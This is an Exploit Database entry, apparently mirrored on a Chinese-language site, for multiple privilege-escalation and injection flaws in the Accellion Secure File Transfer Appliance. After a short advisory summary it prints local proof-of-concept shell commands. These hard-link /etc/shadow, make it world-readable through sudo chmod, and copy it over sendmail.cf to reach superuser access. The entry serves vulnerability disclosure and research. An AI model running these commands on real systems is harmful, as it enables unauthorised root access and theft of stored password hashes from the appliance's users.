Accellion Secure File Transfer Appliance – Multiple Command Restriction / Privilege Escalations

• Exploit Database
• 37 阅读

• 作者： Tim Brown
  日期： 2010-02-10
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/33623/

• source: https://www.securityfocus.com/bid/38176/info
   
  Accellion File Transfer Appliance is prone to multiple remote vulnerabilities, including:
   
  - Multiple privilege-escalation issues
  - A directory-traversal issue
  - An HTML-injection issue
  - A remote command-injection issue
   
  An attacker may leverage these issues to execute arbitrary script code within the context of the webserver, steal cookie-based authentication credentials, obtain sensitive information, and execute arbitrary code or commands with superuser privileges. Other attacks are also possible.
   
  The following proofs of concept are available:
  
  sh-2.05b$ ln /etc/shadow /home/admin/oldtemp
  sh-2.05b$ sudo /bin/chmod 666 /home/admin/oldtemp
  
  sh-2.05b$ ln /etc/shadow /home/admin/temp
  sh-2.05b$ sudo /bin/cp /home/admin/temp /etc/mail/sendmail.cf
  
  sh-2.05b$ sudo /usr/local/bin/admin.pl